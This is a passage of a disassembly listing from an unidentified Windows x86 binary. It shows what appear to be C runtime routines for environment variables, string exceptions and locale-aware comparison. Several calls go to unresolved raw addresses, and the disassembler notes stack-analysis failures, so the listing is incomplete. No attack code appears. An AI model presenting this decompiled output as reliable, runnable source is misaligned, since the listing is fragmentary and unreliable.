mov dword_4DB2D0, eax loc_4262DF: ; CODE XREF: sub_4261AB+F6j ; sub_4261AB+100j cmp [ebp+arg_4], 0 jz short loc_42632B push [ebp+arg_0] call sub_41AFE0 inc eax inc eax push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42632B push [ebp+arg_0] push esi call sub_41BEB0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call near ptr 25E0000h nop push esi call sub_41B0B1 pop ecx loc_42632B: ; CODE XREF: sub_4261AB+6Ej ; sub_4261AB+104j ... xor eax, eax jmp loc_426212 sub_4261AB endp ; =============== S U B R O U T I N E ======================================= sub_426332 proc near ; CODE XREF: sub_4261AB+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4DB2D0 push edi mov eax, [esi] test eax, eax jz short loc_42636D mov edi, [esp+8+arg_4] loc_426344: ; CODE XREF: sub_426332+39j push edi push eax push [esp+10h+arg_0] call sub_425E56 add esp, 0Ch test eax, eax jnz short loc_426363 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_42637D test al, al jz short loc_42637D loc_426363: ; CODE XREF: sub_426332+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426344 loc_42636D: ; CODE XREF: sub_426332+Cj mov eax, esi sub eax, dword_4DB2D0 sar eax, 2 neg eax loc_42637A: ; CODE XREF: sub_426332+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42637D: ; CODE XREF: sub_426332+2Bj ; sub_426332+2Fj mov eax, esi sub eax, dword_4DB2D0 sar eax, 2 jmp short loc_42637A sub_426332 endp ; =============== S U B R O U T I N E ======================================= sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426399 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426399: ; CODE XREF: sub_42638A+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4263AB loc_4263A1: ; CODE XREF: sub_42638A+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4263A1 loc_4263AB: ; CODE XREF: sub_42638A+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4263CC push 9 call sub_41DA29 pop ecx loc_4263CC: ; CODE XREF: sub_42638A+38j mov eax, [edi] mov ebx, edi loc_4263D0: ; CODE XREF: sub_42638A+5Bj test eax, eax jz short loc_4263E7 push eax add ebx, 4 call sub_426464 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4263D0 ; --------------------------------------------------------------------------- loc_4263E7: ; CODE XREF: sub_42638A+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_42638A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DC71C, 0 jnz short loc_42640C push [ebp+arg_4] push [ebp+arg_0] call sub_41BFB0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42640C: ; CODE XREF: sub_4263F1+Aj mov ecx, [ebp+arg_0] loc_42640F: ; CODE XREF: sub_4263F1+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426452 movzx edx, al test byte_4DC821[edx], 4 jz short loc_42643E mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426449 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_42644D jmp short loc_426446 ; --------------------------------------------------------------------------- loc_42643E: ; CODE XREF: sub_4263F1+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426452 loc_426446: ; CODE XREF: sub_4263F1+4Bj inc ecx jmp short loc_42640F ; --------------------------------------------------------------------------- loc_426449: ; CODE XREF: sub_4263F1+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42644D: ; CODE XREF: sub_4263F1+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426452: ; CODE XREF: sub_4263F1+25j ; sub_4263F1+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4263F1 endp ; =============== S U B R O U T I N E ======================================= sub_426464 proc near ; CODE XREF: sub_417EEE+21p ; sub_42638A+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648B push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 pop ecx test eax, eax pop ecx jz short loc_42648B push esi push eax call sub_41BEB0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648B: ; CODE XREF: sub_426464+7j ; sub_426464+1Aj xor eax, eax pop esi retn sub_426464 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_426573+19p ; sub_42669A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41AFE0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D6EF mov eax, esi pop esi retn 8 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264BA proc near ; CODE XREF: ___:004264E5p ; sub_426568+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_40D6B3 mov ecx, esi pop esi jmp sub_4268B6 sub_4264BA endp ; =============== S U B R O U T I N E ======================================= sub_4264D5 proc near ; DATA XREF: ___:00427D10o ; ___:00427D20o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4264E1 mov eax, offset dword_4276A8 locret_4264E1: ; CODE XREF: sub_4264D5+5j retn sub_4264D5 endp ; --------------------------------------------------------------------------- loc_4264E2: ; DATA XREF: ___:off_427D0Co push esi mov esi, ecx call sub_4264BA test byte ptr [esp+8], 1 jz short loc_4264F8 push esi call sub_41CC83 pop ecx loc_4264F8: ; CODE XREF: ___:004264EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264FE proc near ; CODE XREF: sub_426573+29p mov eax, offset loc_426E32 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264FE endp ; =============== S U B R O U T I N E ======================================= sub_42654C proc near ; DATA XREF: ___:off_427D1Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426568 test [esp+4+arg_0], 1 jz short loc_426562 push esi call sub_41CC83 pop ecx loc_426562: ; CODE XREF: sub_42654C+Dj mov eax, esi pop esi retn 4 sub_42654C endp ; =============== S U B R O U T I N E ======================================= sub_426568 proc near ; CODE XREF: sub_42654C+3p ; DATA XREF: ___:00428094o mov dword ptr [ecx], offset off_427D1C jmp sub_4264BA sub_426568 endp ; =============== S U B R O U T I N E ======================================= sub_426573 proc near ; CODE XREF: sub_40D560+13p ; sub_40D724+Ep mov eax, offset loc_426E44 call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264FE push offset dword_428090 lea eax, [ebp-3Ch] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_426573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p ; sub_4265D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D560 mov eax, esi pop esi retn 4 sub_4265B0 endp ; =============== S U B R O U T I N E ======================================= sub_4265D0 proc near ; CODE XREF: sub_42669A+29p mov eax, offset loc_426E56 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4265D0 endp ; =============== S U B R O U T I N E ======================================= sub_426618 proc near ; CODE XREF: sub_426682+7p ; sub_4266DE+7p ... mov eax, offset loc_426E68 call sub_41CC64 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42686C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426618 endp ; =============== S U B R O U T I N E ======================================= sub_42665B proc near ; DATA XREF: ___:off_427D48o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426677 test [esp+4+arg_0], 1 jz short loc_426671 push esi call sub_41CC83 pop ecx loc_426671: ; CODE XREF: sub_42665B+Dj mov eax, esi pop esi retn 4 sub_42665B endp ; =============== S U B R O U T I N E ======================================= sub_426677 proc near ; CODE XREF: sub_42665B+3p ; DATA XREF: ___:0042813Co mov dword ptr [ecx], offset off_427D48 jmp sub_4264BA sub_426677 endp ; =============== S U B R O U T I N E ======================================= sub_426682 proc near ; CODE XREF: sub_4266F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi retn 4 sub_426682 endp ; =============== S U B R O U T I N E ======================================= sub_42669A proc near ; CODE XREF: sub_40D4B0+15p ; sub_40D509+15p ... mov eax, offset loc_426E7A call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4265D0 push offset dword_428138 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D48 call sub_4268D9 int 3 ; Trap to Debugger sub_42669A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266DE proc near ; CODE XREF: sub_4266F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D48 mov eax, esi pop esi retn 4 sub_4266DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4266F6 proc near ; DATA XREF: ___:00427D14o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426618 push offset dword_428178 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426714: ; DATA XREF: ___:00427D50o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4266DE push offset dword_428138 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426732: ; DATA XREF: ___:00427D24o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426682 push offset dword_428090 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_4266F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_426750 proc near jmp near ptr 71B2ACCBh sub_426750 endp ; --------------------------------------------------------------------------- pop es ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426756 proc near ; CODE XREF: sub_40CE40+5Ep ; ___:00414BE5p ... nop jmp near ptr 71AB1B7Bh sub_426756 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_42675C proc near ; CODE XREF: sub_41C8D0+23p ; sub_41CB74+13p jmp near ptr 2860000h sub_42675C endp ; --------------------------------------------------------------------------- pop ebp ; =============== S U B R O U T I N E ======================================= sub_426762 proc near ; CODE XREF: sub_417275+E2p ; sub_417275+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DB364, 0 push ebx jnz short loc_4267A8 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426774: ; CODE XREF: sub_426762+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426786 cmp bx, 41h jb short loc_426786 add ebx, 20h loc_426786: ; CODE XREF: sub_426762+19j ; sub_426762+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426798 cmp ax, 41h jb short loc_426798 add eax, 20h loc_426798: ; CODE XREF: sub_426762+2Bj ; sub_426762+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_4267D8 cmp bx, ax jz short loc_426774 jmp short loc_4267D8 ; --------------------------------------------------------------------------- loc_4267A8: ; CODE XREF: sub_426762+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_4267B2: ; CODE XREF: sub_426762+72j mov ax, [esi] inc esi push eax inc esi call sub_426913 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_426913 pop ecx test bx, bx pop ecx jz short loc_4267D6 cmp bx, ax jz short loc_4267B2 loc_4267D6: ; CODE XREF: sub_426762+6Dj pop edi pop esi loc_4267D8: ; CODE XREF: sub_426762+3Dj ; sub_426762+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_426762 endp ; =============== S U B R O U T I N E ======================================= sub_4267E2 proc near ; CODE XREF: ___:004267FAp mov dword ptr [ecx], offset off_427D68 mov ecx, [ecx+4] test ecx, ecx jz short locret_4267F6 push ecx call sub_41B0B1 pop ecx locret_4267F6: ; CODE XREF: sub_4267E2+Bj retn sub_4267E2 endp ; --------------------------------------------------------------------------- loc_4267F7: ; DATA XREF: ___:off_427D68o push esi mov esi, ecx call sub_4267E2 test byte ptr [esp+8], 1 jz short loc_42680D push esi call sub_41CC83 pop ecx loc_42680D: ; CODE XREF: ___:00426804j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_426813: ; DATA XREF: ___:off_427D70o push esi mov esi, ecx call sub_4268B6 test byte ptr [esp+8], 1 jz short loc_426829 push esi call sub_41CC83 pop ecx loc_426829: ; CODE XREF: ___:00426820j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp ; sub_4265D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 push dword ptr [edi] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42685E push dword ptr [edi] push eax call sub_41BEB0 pop ecx pop ecx loc_42685E: ; CODE XREF: sub_42682F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42682F endp ; =============== S U B R O U T I N E ======================================= sub_42686C proc near ; CODE XREF: sub_426618+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4268A9 push dword ptr [edi+4] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4268AF push dword ptr [edi+4] push eax call sub_41BEB0 pop ecx pop ecx jmp short loc_4268AF ; --------------------------------------------------------------------------- loc_4268A9: ; CODE XREF: sub_42686C+16j mov eax, [edi+4] mov [esi+4], eax loc_4268AF: ; CODE XREF: sub_42686C+2Ej ; sub_42686C+3Bj mov eax, esi pop edi pop esi retn 4 sub_42686C endp ; =============== S U B R O U T I N E ======================================= sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j ; ___:00426816p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D70 jz short locret_4268CB push dword ptr [ecx+4] call sub_41CC83 pop ecx locret_4268CB: ; CODE XREF: sub_4268B6+Aj retn sub_4268B6 endp ; =============== S U B R O U T I N E ======================================= sub_4268CC proc near ; DATA XREF: ___:00427D74o mov eax, [ecx+4] test eax, eax jnz short locret_4268D8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4268D8: ; CODE XREF: sub_4268CC+5j retn sub_4268CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268D9 proc near ; CODE XREF: sub_426573+37p ; sub_42669A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D90 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 2650383h pop edi pop esi leave retn 8 sub_4268D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426913 proc near ; CODE XREF: sub_426762+56p ; sub_426762+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_426925 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_426925: ; CODE XREF: sub_426913+Bj cmp dword_4DB364, 0 jnz short loc_42693F cmp ax, 41h jb short locret_426986 cmp ax, 5Ah ja short locret_426986 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_42693F: ; CODE XREF: sub_426913+19j cmp ax, 100h jnb short loc_426959 push 1 push eax call sub_426BC1 pop ecx test eax, eax pop ecx jnz short loc_426959 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426959: ; CODE XREF: sub_426913+30j ; sub_426913+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DB364 call sub_426988 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426986 mov ax, [ebp+var_2] locret_426986: ; CODE XREF: sub_426913+1Fj ; sub_426913+25j ... leave retn sub_426913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426988 proc near ; CODE XREF: sub_426913+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DB0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DB5BC, esi jnz short loc_4269FE push esi push esi push 1 pop ebx push ebx push offset dword_427940 mov edi, 100h push edi push esi nop call near ptr 2640000h test eax, eax jz short loc_4269DC mov dword_4DB5BC, ebx jmp short loc_4269FE ; --------------------------------------------------------------------------- loc_4269DC: ; CODE XREF: sub_426988+4Aj push esi push esi push ebx push offset dword_4CAE5C push edi push esi nop call near ptr 26410C5h test eax, eax jz loc_426B7D mov dword_4DB5BC, 2 loc_4269FE: ; CODE XREF: sub_426988+2Ej ; sub_426988+52j cmp [ebp+arg_C], esi jle short loc_426A13 push [ebp+arg_C] push [ebp+arg_8] call sub_426B91 pop ecx pop ecx mov [ebp+arg_C], eax loc_426A13: ; CODE XREF: sub_426988+79j mov eax, dword_4DB5BC cmp eax, 1 jnz short loc_426A3A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h jmp loc_426B7F ; --------------------------------------------------------------------------- loc_426A3A: ; CODE XREF: sub_426988+93j cmp eax, 2 jnz loc_426B7D cmp [ebp+arg_18], esi jnz short loc_426A50 mov eax, dword_4DB374 mov [ebp+arg_18], eax loc_426A50: ; CODE XREF: sub_426988+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2810000h mov [ebp+var_20], eax cmp eax, esi jz loc_426B7D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426A96 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426A96: ; CODE XREF: sub_426988+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2810000h test eax, eax jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 26410C5h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426B7D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426B19 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426B19: ; CODE XREF: sub_426988+17Dj cmp ebx, esi jz short loc_426B7D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 26410C5h test eax, eax jz short loc_426B7D test byte ptr [ebp+arg_4+1], 4 jz short loc_426B57 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426B79 cmp eax, edi jl short loc_426B48 mov eax, edi loc_426B48: ; CODE XREF: sub_426988+1BCj push eax push ebx push [ebp+arg_10] call sub_41B5F0 add esp, 0Ch jmp short loc_426B79 ; --------------------------------------------------------------------------- loc_426B57: ; CODE XREF: sub_426988+1B1j cmp [ebp+arg_14], esi jnz short loc_426B60 push esi push esi jmp short loc_426B66 ; --------------------------------------------------------------------------- loc_426B60: ; CODE XREF: sub_426988+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426B66: ; CODE XREF: sub_426988+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2820000h mov edi, eax cmp edi, esi jz short loc_426B7D loc_426B79: ; CODE XREF: sub_426988+1B8j ; sub_426988+1CDj mov eax, edi jmp short loc_426B7F ; --------------------------------------------------------------------------- loc_426B7D: ; CODE XREF: sub_426988+66j ; sub_426988+B5j ... xor eax, eax loc_426B7F: ; CODE XREF: sub_426988+ADj ; sub_426988+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426988 endp ; =============== S U B R O U T I N E ======================================= sub_426B91 proc near ; CODE XREF: sub_426988+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426BB0 loc_426BA1: ; CODE XREF: sub_426B91+1Dj cmp word ptr [eax], 0 jz short loc_426BB0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426BA1 loc_426BB0: ; CODE XREF: sub_426B91+Ej ; sub_426B91+14j cmp word ptr [eax], 0 pop esi jnz short loc_426BBE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426BBE: ; CODE XREF: sub_426B91+24j mov eax, edx retn sub_426B91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BC1 proc near ; CODE XREF: sub_426913+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426C01 cmp [ebp+arg_0], 100h jnb short loc_426BE5 movzx eax, [ebp+arg_0] mov ecx, off_43C32C mov ax, [ecx+eax*2] jmp short loc_426C08 ; --------------------------------------------------------------------------- loc_426BE5: ; CODE XREF: sub_426BC1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426C13 add esp, 18h test eax, eax jnz short loc_426C05 loc_426C01: ; CODE XREF: sub_426BC1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426C05: ; CODE XREF: sub_426BC1+3Ej mov eax, [ebp+var_4] loc_426C08: ; CODE XREF: sub_426BC1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426BC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C13 proc near ; CODE XREF: sub_426BC1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DC8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB5C0 xor edi, edi cmp eax, edi jnz short loc_426C82 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 261005Dh test eax, eax jz short loc_426C60 mov eax, esi jmp short loc_426C7D ; --------------------------------------------------------------------------- loc_426C60: ; CODE XREF: sub_426C13+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE5C push esi push edi nop call near ptr 2610794h test eax, eax jz loc_426DC4 push 2 pop eax loc_426C7D: ; CODE XREF: sub_426C13+4Bj mov dword_4DB5C0, eax loc_426C82: ; CODE XREF: sub_426C13+2Fj cmp eax, 1 jnz short loc_426C9E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 261005Dh jmp loc_426DC6 ; --------------------------------------------------------------------------- loc_426C9E: ; CODE XREF: sub_426C13+72j cmp eax, 2 jnz loc_426DC4 cmp [ebp+arg_10], edi jnz short loc_426CB4 mov eax, dword_4DB374 mov [ebp+arg_10], eax loc_426CB4: ; CODE XREF: sub_426C13+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2810000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426DC4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41B590 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426D12 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426D12: ; CODE XREF: sub_426C13+EAj cmp [ebp+var_2C], edi jz loc_426DC4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 2810000h nop test eax, eax jz loc_426DC4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426D67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426D67: ; CODE XREF: sub_426C13+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426DC4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426D7B mov eax, dword_4DB364 loc_426D7B: ; CODE XREF: sub_426C13+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 2610794h mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426DC4 cmp word ptr [esi], 0FFFFh jnz short loc_426DC4 push edi push ebx push [ebp+arg_C] call sub_41CC90 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426DC6 ; --------------------------------------------------------------------------- loc_426DC4: ; CODE XREF: sub_426C13+61j ; sub_426C13+8Ej ... xor eax, eax loc_426DC6: ; CODE 